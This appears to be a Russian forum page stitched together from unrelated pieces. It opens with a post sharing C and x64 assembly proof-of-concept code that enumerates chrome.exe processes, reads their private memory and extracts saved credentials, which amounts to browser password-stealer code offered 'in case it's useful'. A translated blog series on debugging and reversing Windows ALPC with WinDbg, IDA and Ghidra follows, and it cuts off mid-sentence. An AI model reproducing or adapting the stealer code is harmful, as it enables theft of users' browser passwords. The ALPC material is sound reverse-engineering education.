Перебор всех процессов, для надежности - в ходе экспериментов у меня пароли хранились только в одном, но какая разница, сдампит оно их за 0.5 секунды или за 5, главное чтобы не пропустить.
C:Copy to clipboard
int m(void)
{
HANDLE h;
PROCESSENTRY32W pe32;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnap != INVALID_HANDLE_VALUE)
{
pe32.dwSize = sizeof(PROCESSENTRY32W);
if (!Process32FirstW(hSnap, &pe32))
{
//log err..
return 1;
}
do
{
if(lstrcmpW(pe32.szExeFile,L"chrome.exe") == 0) //или msedge или что там еще
{
h = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ , FALSE, pe32.th32ProcessID);
if(h)
{
ParseMem(h);
CloseHandle(h);
}
}
} while (Process32NextW(hSnap,&pe32));
CloseHandle(hSnap);
}
ExitProcess(0);
}
Просмотр памяти процесса, перебираем все регионы соответствующие критериям (RW , Private)
C:Copy to clipboard
void ParseMem(HANDLE hP)
{
SYSTEM_INFO s_i;
MEMORY_BASIC_INFORMATION pmem;
GetSystemInfo(&s_i);
for (LPBYTE memPtr, i = (LPBYTE)s_i.lpMinimumApplicationAddress; i <= (LPBYTE)s_i.lpMaximumApplicationAddress;)
{
VirtualQueryEx(hP, i, &pmem, sizeof(MEMORY_BASIC_INFORMATION));
if (pmem.State == MEM_COMMIT && pmem.Protect == PAGE_READWRITE && pmem.Type == MEM_PRIVATE)
{
memPtr = VirtualAlloc(NULL,pmem.RegionSize,MEM_RESERVE | MEM_COMMIT,PAGE_READWRITE);
if(memPtr)
{
SIZE_T tmp;
if (!ReadProcessMemory(hP,pmem.BaseAddress,memPtr,pmem.RegionSize,&tmp))
{OutputDebugStringA("error read memory"); return;}
find_all(memPtr,pmem.RegionSize);
VirtualFree(memPtr,0,MEM_RELEASE);
}
}
i += pmem.RegionSize;
}
}
Основная магия - поиск сигнатур
C:Copy to clipboard
void find_all (LPBYTE pMem,SIZE_T dwSize)
{
SIZE_T end_pos = 0;
unsigned short int datalen = 0;
LPBYTE pFinded;
char buf[256]; //в реальном проекте выделять память в хипе, ибо может быть оверфлоу
do
{
end_pos = InString1(dwSize,pMem + end_pos,"- http"); //найти строку , это будет конец сигнатуры с кредами
if(end_pos > 0) //если что-то нашлось
{
dwSize-=end_pos; //общий размер уменьшить на фрагмент, который уже просмотрели
pFinded = find_s(pMem,end_pos,&datalen); //указатель на начало данных
if(datalen > 15) //минимальный размер
{
CopyMemory(buf,pFinded,datalen); //копируем в буфер
pFinded = buf;
while(*pFinded == 0x0) //удалить нуллбайты
{
pFinded++;
}
OutputDebugStringA(pFinded); //вывести найденую строку
}
}
else
break;
}while(dwSize >= 0);
}
Поиск я сделал на 64 битном Асме, точнее изначально асм был 32 битный, в итоге
пришлось переписать..в общем, желаемой оптимизации не получил, там говнокод по
факту, но что есть то есть
Две процедуры, одна ищет подстроку в строке, вторая - двойной нуллбайт.
Code:Copy to clipboard
.model flat,c
lstrlenA PROTO FASTCALL :QWORD
.code
InString1 proc strLen1:QWORD,lpSource:QWORD,lpPattern:QWORD
;LOCAL r10:QWORD R10
;LOCAL pLen:QWORD r11
;local startpos:qword r12
xor r12,r12
inc r12 ;mov r12,1
push rbx
push rsi
push rdi
mov rax, strLen1
mov r10, rax
invoke lstrlenA,lpPattern
mov r11, rax ; pattern length
@@:
dec r12 ; correct from 1 to 0 based index
cmp rax, r10
jl @F
mov rax, -1
jmp isOut ; exit if pattern longer than source
@@:
sub r10, rax ; don't read past string end
inc r10
mov rcx, r10
cmp rcx, r12
jg @F
mov rax, -2
jmp isOut ; exit if startpos is past end
@@:
; ----------------
; setup loop code
; ----------------
mov rsi, lpSource
mov rdi, lpPattern
mov al, [rdi] ; get 1st char in pattern
add rsi, rcx ; add source length
neg rcx ; invert sign
add rcx, r12 ; add starting offset
jmp Scan_Loop
align 16
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Pre_Scan:
inc rcx ; start on next byte
Scan_Loop:
cmp al, [rsi+rcx] ; scan for 1st byte of pattern
je Pre_Match ; test if it matches
inc rcx
js Scan_Loop ; exit on sign inversion
jmp No_Match
Pre_Match:
lea rbx, [rsi+rcx] ; put current scan address in EBX
mov rdx, r11 ; put pattern length into EDX
Test_Match:
mov ah, [rbx+rdx-1] ; load last byte of pattern length in main string
cmp ah, [rdi+rdx-1] ; compare it with last byte in pattern
jne Pre_Scan ; jump back on mismatch
dec rdx
jnz Test_Match ; 0 = match, fall through on match
; @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Match:
add rcx, r10
mov rax, rcx
jmp isOut
No_Match:
xor rax, rax
isOut:
pop rdi
pop rsi
pop rbx
ret
InString1 endp
find_s proc lpMem:qword,endpos:qword,datalen:qword ptr
push rsi
push rdi
mov rax,endpos
push rax ; save endpos
mov rdi,lpMem
add rdi,rax ;set pos in finded stroka
mov rcx,rax ;dlina
xor rax,rax ;we search nullbyte
std
repne scasw
cld
pop rax ;restore endpos
sub rax,rcx ;substract current cnt
shl rax,1 ;mul x2,because words != bytes
mov rcx,datalen ;load addr
mov [rcx],ax
mov rax,rdi
pop rdi
pop rsi
ret
find_s endp
В Си коде не забудьте их объявить
C:Copy to clipboard
int InString1(int strLen1,LPVOID lpSource,LPVOID lpPattern);
LPBYTE find_s(LPVOID lpMem,int endpos,USHORT* datalen);
Это всего лишь РоС, в котором будут недочеты, ошибки, оверфлоу и прочая
ерунда. До продакшна это надо еще отдебажить. Кроме того, если софт будет 32
бит, а браузер 64, придется юзать какой-то вариант HG.
Но, может кому пригодится.
Этот пост является дополнением к моему путешествию по обнаружению и проверке внутреннего устройства ALPC, которое я задокументировал в статье «Внутреннее устройство Offensive Windows IPC 3: ALPC» . При подготовке этого блога я подумал, что второй пост, объясняющий шаги по отладке, которые я предпринял для проверки и обнаружения поведения ALPC, может быть полезен всем нам, новичкам в области обратного проектирования и/или отладки.
Хотя я, безусловно, использовал приемы и методы, показанные в этом посте ниже, это не единственные мои ресурсы и инструменты для погружения в ALPC. Даже намек на это подорвал бы важную и важную работу других исследователей, которые документировали и реверсировали внутренности ALPC в прошлом, таких как Алекс Ионеску и [многие другие ](https://csandker.io/2022/05/24/Offensive-Windows- IPC-3-ALPC.html#references). Отсюда и эта оговорка.
Приведенные ниже методы практичны и полезны, но я смог применить их только благодаря работе других.
Еще одно важное предупреждение: я ни в коем случае не являюсь опытным реверс- инженером, и этот пост в блоге не предназначен для того, чтобы быть введением в «как стать реверс-инженером» или показать умный способ попасть в эту область. Это сообщение «Используйте отладку Windows, чтобы наткнуться на тему и осмотреться».
Чтобы выполнить шаги, показанные ниже, вы хотите настроить среду отладки ядра. Если у вас уже настроена среда отладки ядра, смело переходите к разделу [Начало работы ](https://csandker.io/2022/05/29/Debugging-And-Reversing- ALPC.html#getting-off-the-ground). Если вы этого не сделаете, у вас есть два основных варианта для этой настройки:
Хотя для локальной отладки ядра требуется только одна тестовая машина (виртуальная виртуальная машина) и только одна команда и перезагрузка для настройки, тем не менее я рекомендую запустить две машины (виртуальные машины) и настроить их для удаленной отладки. Причина этого в том, что локальная оперативная отладка ядра сопряжена с некоторыми ограничениями, и вы не можете использовать полный набор функций отладки и не можете использовать все пути. Тем не менее, я также включу шаги по настройке локальной отладки ядра, если у вас есть только одна машина в вашей тестовой среде.
Настроить локальную отладку ядра
Необходимо выполнить следующие шаги:
Запустите тестовую машину или виртуальную машину
Если у вас еще не установлен WinDbg , загрузите и установите отсюда чтобы установить WinDbg.
В качестве альтернативы вы также можете использовать предварительный просмотр
WinDbg из приложения Магазина Windows.
Откройте PowerShell с правами администратора и выполните следующую команду, чтобы включить локальную отладку ядра: PS:> bcdedit /debug on & bcdedit /dbgsettings local
Перезагрузите машину
Откройте WinDbg и войдите в режим локальной отладки ядра, выполнив следующую команду: .\windbg.exe -kl
В качестве альтернативы вы также можете открыть графический интерфейс WinDbg,
щелкнув «Файл» «Отладка ядра» (Ctrl + K) «Локальный (Tab)» «ОК».
Примечание о пользовательском макете, показанном выше
В моем случае мне нравится располагать и выравнивать окна отладки определенным
образом (а также иметь цвета, имитирующие темную тему). Вы можете сделать все
это, запустив WinDbg, открыть и расположить все окна так, как вам нравится,
изменить цвет (если хотите) в разделе « Вид» » «Параметры» «Цвета» и,
наконец, сохранить все настройки рабочей области через Файл» » Сохранить
рабочую область в файл. После этого вы можете открыть локальную отладку ядра
WinDbg с помощью настроенной рабочей области следующим образом: .\windbg.exe
-WF
Все параметры командной строки WinDbg можно найти [здесь.
](https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/windbg-
command-line-options)
Настройка удаленной отладки ядра
Запустите свою первую тестовую машину или виртуальную машину, которую вы хотите отлаживать, она будет называться отлаживаемой машиной.
Если у вас еще не установлен kdnet.exe , загрузите и установите WindowsSDK отсюда, чтобы установить его.
Откройте PowerShell с правами администратора и выполните следующую команду: cd "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\" && .\kdnet.exe
Я обычно использую *51111 в качестве номера порта. Эта команда даст вам
инструкции командной строки для использования в отладчике, см. шаг 6.*
Запустите вторую тестовую машину или виртуальную машину, которую вы хотите использовать для отладки первой виртуальной машины. Она будет называться отладочной машиной.
Если у вас еще не установлен WinDbg , загрузите и установите WindowsSDK отсюда, чтобы установить его.
В качестве альтернативы вы также можете использовать предварительный просмотр
WinDbg из приложения Магазина Windows.
Выполните следующую команду, чтобы запустить WinDbg и подключить его к отлаживаемой машине: cd "C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\" && .\windbg.exe -k <PASTE-OUTPUT-FROM-kdnet.exe-FROM-YOUR-DEBUGGEE>.
Команда для вставки из kdnet.exe (шаг 3) будет выглядеть примерно так:
net:port=
Вы увидите приглашение, указывающее, что отладчик настроен и ожидает
подключения.
Перезагрузите отлаживаемую машину. Вернитесь к своей отладчиком , которая будет подключаться во время процесса загрузки вашей отлаживаемой.
Возможно, вы заметили, что я упомянул WinDbg Preview как альтернативу
классическому отладчику WinDbg. Эта предварительная версия представляет собой
обновленную версию классического отладчика и имеет совершенно другой
пользовательский интерфейс (включая встроенную темную тему). Если вы смотрите
на одноразовую установку и эмоционально не привязаны к старому/классическому
WinDbg, я рекомендую вам попробовать WinDbg Preview. Единственная причина, по
которой я еще не использую его, связана с тем, что вы не можете экспортировать
настройки рабочей области (макет окна), что является важной функцией для меня
в моей лаборатории (которую я часто перестраиваю).
В результате ниже я буду использовать классический WinDbg.
Настройка символов
После того, как вы настроили WinDbg, последний подготовительный шаг, который вам нужно сделать, — это настроить отладчик так, чтобы он извлекал символы отладки с официального сервера символов Microsoft.
Запустите следующий набор команд в WinDbg для настройки символов:
В WinDbg запустить .sympathчтобы показать текущую конфигурацию пути символа.
Если это похоже на приведенное ниже, в котором указано, что вы хотите, чтобы
ваши символы загружались с сервера символов Microsoft и кэшировались в
C:\Symbols, все готово…
Если ваш вывод не выглядит так, и вы просто хотите получить все свои символы с официального сервера символов Microsoft, выполните следующую команду в WinDbg: .sympath srv*https://msdl.microsoft.com/download/symbols
Подробнее о серверах символов, кэшировании и о том, как и почему, можно узнать
на странице документации Microsoft [здесь ](https://docs.microsoft.com/en-
us/windows-hardware/drivers/debugger/symbol-path#using-a-symbol-server).
Допустим, мы вообще ничего не знаем об ALPC и хотим начать копаться и
понимать, как работает ALPC под капотом. Поскольку ALPC не задокументирован,
мы не можем начать наше путешествие, заглядывая в богатые каталоги
документации Microsoft, но вместо этого мы должны применить методологию,
основанную на цикле реверсирования, принятия предположений, проверки
предположений и проверки/фальсификации предположений, чтобы, наконец,
построить нашу картину ALPC.
Хорошо, если мы ничего не знаем о технологии, кроме ее названия (ALPC), мы
можем запустить наш отладчик ядра WinDbg и начать получать некоторую
информацию о ней, разрешая вызовы функций, которые содержат имя «ALPC» — это
может быть не так. самая умная отправная точка, но это не имеет значения, мы
начинаем с чего-то и идем дальше…
Команда WinDbg, которая нам нужна для этого: kd:> x *!Alpc
Эта команда будет разрешать имена функций следующего шаблона
[ModuleName]![FunctionName], где мы можем использовать подстановочные знаки
('*') как для имен модулей, так и для имен функций. В данном случае это
означает, что мы разрешаем все функции, которые содержат слово «Alpc» в своих
именах во всех загруженных модулях.
Если вы впервые работаете с WinDbg (или вы похожи на меня и склонны забывать,
что означают определенные команды), вы всегда можете использовать меню справки
WinDbg для поиска команды через: kd:> .hh [Command], как показано ниже:
_Примечание: несмотря на то, что введенная вами команда предварительно
выбрана, на самом деле вам нужно нажать кнопку «Показать». Другой вариант —
найти команды отладчика онлайн[здесь ](https://docs.microsoft.com/en-
us/windows-hardware/drivers/debugger/commands). _
Если вы получаете сообщение об ошибке, говорящее о том, что что-то не может
быть разрешено, скорее всего, у вас не настроен путь к символу. Убедитесь, что
ваши символы либо хранятся локально, либо загружаются с
_https://msdl.microsoft.com/download/symbols _(или с обоих). Вы можете
проверить свою симпатию с помощью: .sympath
Если вы правильно настроили путь к символу, вы получите большое количество
результатов, показывающих все виды функций, которые содержат имя «ALPC». Если
что-то занимает слишком много времени (из-за опечатки, или что-то не может
быть решено, или возникла какая-либо другая проблема), вы всегда можете нажать
_< CTRL>+
Отсюда вы должны скопировать все разрешенные функции в редактор по вашему
выбору (я использую VisualStudio Code ) и
отсортировать их по имени, чтобы получить представление о том, какие функции
Alpc существуют в каких модулях и могут принадлежать каким компонентам. Здесь
вам очень поможет строгое соглашение об именах,
применяемое к кодовой базе Windows, поэтому давайте посмотрим на это:
Чтобы сделать это более читабельным:
Code:Copy to clipboard
00007ff9`49498c54 >> The function address
ntdll >> The module name ("ntddl" in this case)
! >> The seperator
Tp >> Abbreviation of the component ("Thread Pool" in this case)
p >> Abbreviation of the function type ("private")
AllocAlpcCompletion >> Descriptive name of the functions
Глядя только на этот самый первый разрешенный вызов функции, мы можем сделать
предположение, что эта функция является частной функцией в ThreadPool
компоненте ntdll.dll , который, вероятно, выделяет часть памяти для
чего-то.
Применяя эти знания ко всем перечисленным функциям, мы можем отсортировать и
организовать разрешенные функции, чтобы создать приблизительную картину того,
где (в кодовой базе) они реализованы:
Ценность этого шага не в том, чтобы быть точным на 100% или получить метку,
назначенную каждой функции, а вместо этого создать приблизительное отображение
того, какие части ОС связаны с ALPC, и какие из этих модулей и названия
функций кажутся знакомыми, а какие нет. 'т.
Отсюда мы можем перейти к модулям, которые кажутся нам знакомыми (или
интересными). Например, мы заметили ntdllмодуль, который, как мы знаем,
является пограничным шлюзом пользовательской области для вызова собственных
системных (ядерных) служб (функций). Таким образом, мы можем предположить, что
Windows позволяет пользовательским процессам вызывать определенные функции
ALPC, что сводится к предположению, что «ALPC можно использовать из
пользовательских приложений».
Глядя только на функции «Alpc» внутри ntdll , мы можем обнаружить, что
существует 4 типа функций:
Поскольку функции Nt и Zw предназначены для вызова одних и тех же функций ядра (см. [здесь ](https://docs.microsoft.com/en-us/windows- hardware/drivers/kernel/libraries-and-headers), [здесь ](https://docs.microsoft.com/en-us/windows-hardware/drivers/kernel/what-does- the-zw-prefix-mean-)и [здесь ](https://stackoverflow.com/questions/4770553/windows-native-api-when-and-why- use-zw-vs-nt-prefixed-api-calls)почему они существуют), мы можем спокойно игнорировать одну из них, поэтому мы отключим функции Zw. Я сам не очень хорошо знаком с менеджером пула потоков, поэтому я также Tp функции
_Опять же, цель здесь не в том, чтобы выбрать конкретный набор функций, а
просточтобы сделать выбор на основе чего-то. Всегда полезно выбирать то,
что вы знаете или звучит знакомо, и циклически повторять путь обучения оттуда…
_
Верхний список бескомпонентных функций ALPC содержит много имен функций,
содержащих слова «CompletionList», которые могут показаться вам знакомыми или
нет. Нижний список функций Nt ALPC, с другой стороны, кажется довольно
разнородным, и, основываясь на Nt соглашении об именах компонентов Мы
углубились так далеко, поэтому давайте возьмем одну из этих функций и начнем
реверсивную работу.
Нет правильного или неправильного выбора, вам может повезти, и вы выберете
функцию, предназначенную для использования на ранней стадии настройки ALPC,
которая имеет дополнительные подсказки о том, как использовать ALPC, или вы
можете неосознанно выбрать функцию. это предназначено только для специальных
сценариев ALPC … радость от недокументированных вещей…
На данный момент мы не можем знать, какая функция является хорошей отправной
точкой, поэтому давайте выберем ту, которая, по крайней мере, звучит так, как
будто она предназначена для использования в начале процесса, например что-то с
Create в своем имени:
Я, очевидно, уже знаю, что эта функция будет полезна, так что простите меня за танец «давайте выберем что-нибудь наугад».
Давайте запустим Ghidra и посмотрим на NtAlpcCreatePortфункционировать внутри ntdll.dll:
Хорошо… это не слишком полезно… и к тому же выглядит странно. Системный вызов
выполняется без аргументов, после
чего функция возвращает целое число 0x79 …
Двойная проверка этого декомпилированного кода с фактическими инструкциями,
отображаемыми рядом с декомпилированным окном, показывает другую картину:
Фактические инструкции кода показывают, что целочисленное значение 0x79 перемещается в EAX , а затем выполняется системный вызов . Быстро дважды проверьте это с помощью IDA Free , чтобы убедиться
Да, хорошо, это имеет больше смысла. Первый вывод: [Ghidra ](https://ghidra- sre.org/)— действительно отличный инструмент, функция декомпиляции может быть ненадежной (даже для простых функций), но, с другой стороны: автоматическая декомпиляция — это огромная функция, которая здесь раздается бесплатно, так что никаких обид о некоторых ошибках и ручной двойной проверке.
Мы поняли NtAlpcCreatePortфункционировать внутри ntdll.dllв значительной
степени вызывает режим ядра сразу, используя номер системного вызова 0x79(121
в десятичной системе).
Отсюда мы получили три варианта продолжения:
Давайте пропустим ленивый вариант 1 (наименее надежный) и проверим варианты два и три.
Поиск номера системного вызова онлайн
Один из лучших (и самых известных) ресурсов для поиска номеров системных вызовов — https://j00ru.vexillium.org/syscalls/nt/64/ (системные вызовы x86 можно найти здесь ).
Для моей системы Windows 10 20H2 этот отличный онлайн-ресурс напрямую указывает мне на функцию ядра с именем «NtAlpcCreatePort».
Пошаговое выполнение системного вызова вручную
_Я изучил и применил процесс на[сайте www.ired.team ](https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel- internals/glimpse-into-ssdt-in-windows-x64-kernel), все заслуги и похвалы принадлежат ired.team! _
Мы можем использовать WinDbg для ручного извлечения соответствующей функции ядра из наших отлаженных хост-систем. Здесь задействовано 6 шагов:
Установка точки останова в ntdll в ntdll!NtAlpcCreatePortчтобы перейти в функцию. Это можно сделать с помощью следующей команды WinDbg:
kd:> bp ntdll!NtAlpcCreatePort
Убедитесь, что наша точка останова установлена правильно, с помощью: kd:> bl
Пусть отладчик работает до тех пор, пока не будет достигнута эта точка останова в ntdll: kd:> g
Убедитесь, что мы находимся в правильном месте и перед вами системный вызов: kd:> u .(разобрать следующие инструкции)
Все эти шаги можно найти на скриншоте ниже:
Используя любой из этих трех методов, мы пришли бы к такому результату, что ntdll!NtAlpcCreatePortобращается к ядру в nt!NtAlpcCreatePort
Теперь мы поняли, что в конечном итоге вызовем ядро в nt!NtAlpcCreatePort, так
что давайте посмотрим на это.
Мы можем запустить IDA Free ( Ghidra
тоже подойдет), открыть ntoskrnl.exe из нашего
системного каталога, например, C:\Windows\System32\ntoskrnl.exe , загрузить
общедоступные символы Microsoft, и мы сможем найти вызов функции
NtAlpcCreatePort. Оттуда мы можем просмотреть вызываемые функции, чтобы
получить первое представление о том, что происходит под капотом для этого
вызова.
После первых нескольких вызовов функций мы направимся к вызову ObCreateObjectEx, который является вызовом функции ObjectManager (Ob) для создания объекта ядра. Похоже, наш объект ALPC создан здесь, и IDA также сообщает нам, что это за объект, двумя строками над отмеченным вызовом в окне справа, AlpcPortObjectType. На данный момент я хотел бы попытаться заполучить такой объект, чтобы лучше понять и понять, что это на самом деле. Как функция ObCreateObjectExсоздаст объект, план здесь состоит в том, чтобы переключиться обратно на WinDbg и установить точку останова сразу после этого вызова, чтобы найти и проверить созданный объект.
После установки этой точки останова мы нажимаем gчтобы позволить WinDbg
работать, и как только он срабатывает, мы проверяем, можем ли мы найти
созданный объект, на который где-то ссылаются. Надежный метод для этого —
следовать процессу создания объекта в ObCreateObjectExи отследить, где
хранится объект после завершения функции (менее надежный вариант — проверить
общие регистры и стек после завершения функции).
В этом случае мы можем найти созданный объект ALPC в регистре RCX, как только
мы достигнем нашей точки останова.
Сладко, мы нашли недавно созданный объект порта ALPC. В этот момент !objectКоманда может сообщить нам тип объекта, расположение его заголовка и его имя, но не может добавить дополнительную информацию об этом объекте, потому что теперь не знает его внутренней структуры. Мы тоже не знаем, но можем проверить, есть ли внутри ядра подходящая общедоступная структура, которую мы можем разрешить. Мы попробуем это с kd:> dt nt!AlpcPort…
Мы снова использовали подстановочные знаки в сочетании с информацией, которую мы получили до сих пор, а именно: мы ищем структуру внутри модуля ядра ( nt), и мы ищем структуру, которая соответствует объекту, который, как мы знали, имеет тип AlpcPortObjectType.. Соглашение об именах в Windows часто называет структуры с начальным символом подчеркивания и всеми заглавными буквами. Первый хит ntkrnlmp!_ALPC_PORTвыглядит многообещающе, так что давайте поместим наш захваченный объект порта ALPC в эту структуру:
Это действительно похоже на совпадение, однако некоторые атрибуты, которые
можно было бы ожидать установить, пусты, например атрибут «OwnerProcess».
Прежде чем мы выбросим наше совпадение в мусорное ведро, давайте вспомним, что
мы все еще находимся в точке останова сразу после ObCreateObjectEx, значит,
объект только что создан. Возвращаясь к функциям, которые мы прошли в IDA, мы
можем обнаружить, что есть еще пара функций, которые нужно вызвать внутри
AlpcpCreateConnectionPortфункция, такая как AlpcpInitializePort,
AlpcpValidateAndSetPortAttributesи другие. Похоже, впереди еще кое-что, что мы
хотим поймать.
Прямо сейчас мы находимся в каком-то процессе, который создал порт ALPC (до
сих пор мы даже не удосужились проверить, какой это процесс), и мы хотим
перейти к месту кода после завершения всех функций инициализации и проверить,
что наш Структура порта ALPC выглядит так, поэтому вот краткое изложение того,
что мы хотим сделать:
А вот как это сделать…
2. Нахождение конца AlpcpCreateConnectionPort… Готово 0xfffff803733823c9
Перейти на этот адрес в рамках того же процесса можно с помощью этой команды
kd:> bp /p @$proc fffff803733823c9
_Примечание. Я также проверяю, в каком процессе я нахожусь до и после вызова,
просто чтобы быть в безопасности.
_
Еще раз проверьте структуру объекта ALPC…
Это выглядит более полным, и отсюда мы могли бы пройтись по всему объекту
настройки ALPC так же просто, как использовать ссылки, предоставленные WinDbg,
чтобы проверить, какие другие структуры и ссылки связаны с этим объектом.
Просто в качестве примера и чтобы дважды подтвердить, что этот объект порта
ALPC действительно принадлежит svchost.exe , который мы определили выше, мы
можем проверить _EPROCESS , показанную на ntkrnlmp!_ALPC_PORT + 0x18:
Мы находим ImageFileName процесса-владельца объекта ALPC, который, как мы
поймали, является «svchost.exe», что соответствует процессу, в котором мы
сейчас находимся.
На данный момент мы нашли объект порта ALPC со всеми настройками, который мы
можем далее проанализировать в WinDbg, чтобы изучить другие атрибуты этого
объекта ядра. Я не собираюсь углубляться в этот момент, но если вы увлеклись
копанием глубже, не стесняйтесь продолжать исследовательский тур.
Если вы следуете этому пути, возможно, вы захотите изучить атрибуты порта
ALPC, назначенные найденному вами объекту порта, которые отслеживаются в
nt!_ALPC_PORT_ATTRIBUTESструктура в nt!_ALPC_PORT + 0x100для проверки [Quality
of Service ](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ns-
winnt-security_quality_of_service)(QOS), назначенного этому объекту (
nt!_ALPC_PORT + 0x100 + 0x04).
Если вы обнаружили объект порта ALPC с [уровнем
имперсонации](https://docs.microsoft.com/en-us/windows/win32/api/winnt/ne-
winnt-security_impersonation_level)выше SecurityIdentification , возможно,
вы нашли интересную цель для [атаки с имперсонацией
](https://csandker.io/2022/05/24/Offensive-Windows-
IPC-3-ALPC.html#impersonation-and-non-impersonation), подробно описанной в
моем предыдущем посте Offensive Windows IPC Internals 3: ALPC
.
К настоящему времени вы должны быть готовы исследовать и копаться в ALPC.
Первые шаги, очевидно, будут медленными, и вы (и я) сделаете несколько
неправильных поворотов, но это часть опыта каждого.
Если бы я мог добавить последнее замечание, чтобы помочь в радостной поездке,
это было бы так: мне лично нравится читать старые добрые книги в мягкой
обложке, чтобы учиться, копать глубже и улучшать свои навыки работы с
внутренними компонентами Windows. Если вы относитесь к тому же типу, вам могут
понравиться эти ссылки на книги (если они еще не лежат у вас на столе):
Автор: 0xcsandker
Оригинальная [статья тут.](https://csandker.io/2022/05/24/Offensive-Windows-
IPC-3-ALPC.html)
После обсуждения двух протоколов межпроцессного взаимодействия (IPC), которые можно использовать как удаленно, так и локально, а именно Named Pipes и RPC, мы рассмотрим технологию ALPC, которую можно использовать только локально. В то время как RPC расшифровывается как Remote Procedure Call, ALPC расшифровывается как Advanced Local Procedure Call, иногда также упоминается как Asynchronous Local Procedure Call. Особенно позднее упоминание (асинхронный) является отсылкой к временам Windows Vista, когда ALPC был представлен для замены LPC (Local Procedure Call), который был предшествующим механизмом IPC, используемым до появления Windows Vista.
Кратко о LPC
Механизм локального вызова процедур был представлен в оригинальном ядре
Windows NT в 1993-94 годах в качестве синхронного средства межпроцессного
взаимодействия. Его синхронная природа означала, что клиенты/серверы должны
были ждать отправки сообщения и выполнения действий, прежде чем выполнение
могло быть продолжено. Это был один из основных недостатков, который был
призван заменить ALPC, и причина, по которой ALPC некоторые называют
асинхронным LPC.
О ALPC стало известно в Windows Vista, и, по крайней мере, начиная с Windows
7, LPC был полностью удален из ядра NT. Чтобы не ломать устаревшие приложения
и обеспечить обратную совместимость, которой так славится Microsoft, функция,
используемая для создания порта LPC, была сохранена, но вызов функции был
перенаправлен на создание не LPC, а ALPC порта.
Поскольку LPC практически отсутствует после Windows 7, этот пост будет
посвящен только ALPC, так что давайте вернемся к нему.
Но если вам, как и мне, нравится читать старую документацию о том, как все
начиналось и как все работало раньше, вот статья, в которой подробно
рассказывается о том, как LPC работал в Windows NT 3.5:http:
//web.archive.org/web/20090220111555/http://www.windowsitlibrary.com/Content/356/08/1.html
Назад к ALPC
ALPC — это быстрое, очень мощное и очень широко используемое в ОС Windows
(внутренне) средство межпроцессного взаимодействия, но оно не предназначено
для использования разработчиками, поскольку для Microsoft ALPC — это
внутреннее средство IPC, что означает, что ALPC недокументирован и
используется только в качестве базовой технологии транспортировки для других,
задокументированных и предназначенных для использования разработчиками
протоколов транспортировки сообщений, например RPC.
Тот факт, что ALPC не задокументирован (Microsoft), однако, не означает, что
ALPC — это полный черный ящик, поскольку умные люди, такие как Алекс Ионеску
, как он работает и какие компоненты у него
есть. Но на самом означает , что вы не должны полагаться на какое-либо
поведение ALPC для какого-либо долгосрочного производственного использования,
и, более того, вам действительно не следует использовать ALPC напрямую для
создания программного обеспечения, поскольку существует множество неочевидных
ловушек, которые могут вызвать проблемы с безопасностью или стабильностью.
ALPC — очень интересная цель, но она не предназначена для (не Microsoft) использования в разработке продукции. Также вам не следует полагаться на то, что вся информация в этом посте является или продолжает быть точной на 100%, поскольку ALPC не задокументирован.
Click to expand...
Хорошо, давайте углубимся в некоторые внутренности ALPC, чтобы понять, как работает ALPC, какие движущиеся части участвуют в коммуникациях и как выглядят сообщения, чтобы, наконец, понять, почему ALPC может быть интересной целью с точки зрения наступательной безопасности.
Чтобы оторваться от земли, следует отметить, что основными компонентами связи
ALPC являются портовые объекты ALPC. Объект порта ALPC является объектом ядра,
и его использование аналогично использованию сетевого сокета, когда сервер
открывает сокет, к которому клиент может подключиться для обмена сообщениями.
Если вы запустите [WinObj ](https://docs.microsoft.com/en-
us/sysinternals/downloads/winobj)из Sysinternals Suite
, вы обнаружите, что в каждой
ОС Windows работает много портов ALPC, некоторые из них можно найти в корневом
пути, как показано ниже:
… но большинство портов ALPC размещены по пути «Управление RPC» (помните, что RPC использует ALPC под капотом):
Чтобы начать работу с ALPC-связью, сервер открывает порт ALPC, к которому
могут подключаться клиенты, который называется портом подключения ALPC ,
однако это не единственный порт ALPC, который создается во время потока связи
ALPC (как вы увидим в следующей главе). Еще два порта ALPC создаются для
клиента и сервера для передачи сообщений.
Итак, первое, на что следует обратить внимание, это:
Несмотря на то, что всего в ALPC-коммуникациях используется 3 порта ALPC, и все они называются по-разному (например, «Порты подключения ALPC»), существует только один объект ядра порта ALPC, в котором все три порта используются в Связь ALPC, создание экземпляра. Скелет этого объекта ядра ALPC выглядит следующим образом:
Как видно выше, объект ядра ALPC — довольно сложный объект ядра, ссылающийся на различные другие типы объектов. Это делает его интересной целью для исследований, но также оставляет хороший запас для ошибок и/или пропущенных путей атаки.
Чтобы углубиться в ALPC, мы рассмотрим поток сообщений ALPC, чтобы понять, как сообщения отправляются и как они могут выглядеть. Прежде всего, мы уже узнали, что 3 объекта порта ALPC участвуют в сценарии связи ALPC, первый из которых является портом соединения ALPC , который создается серверным процессом и к которому могут подключаться клиенты (аналогично сетевому сокету). . Как только клиент подключается к порту подключения сервера ALPC, ядро создает два новых порта, называемых портом связи сервера ALPC и портом связи клиента ALPC.
После того, как порты связи сервера и клиента установлены, обе стороны могут
отправлять сообщения друг другу, используя единую функцию
NtAlpcSendWaitReceivePortподвергается воздействию ntdll.dll.
Название этой функции звучит как три вещи сразу — Send, Wait и Receive — и это
именно то, что есть. Сервер и клиент используют эту единственную функцию для
ожидания сообщений, отправки и получения сообщений через свой порт ALPC. Это
звучит ненужно сложно, и я не могу точно сказать, почему он был построен таким
образом, но вот мое предположение: помните, что ALPC был создан как быстрое
средство связи только для внутреннего использования, а канал связи был
построен вокруг одного объект ядра (порт ALPC). Использование этой
трехсторонней функции позволяет выполнять несколько операций, например
отправку и получение сообщения, в одном вызове и, таким образом, экономит
время и уменьшает количество переключений между пользователем и ядром. Кроме
того, эта функция выступает в качестве единого входа в процесс обмена
сообщениями и, следовательно, упрощает изменение кода и оптимизацию (связь
ALPC используется во многих различных компонентах ОС, от драйверов ядра до
пользовательских приложений с графическим интерфейсом, разработанных разными
внутренними командами). Наконец, ALPC задуман как внутренний механизм IPC,
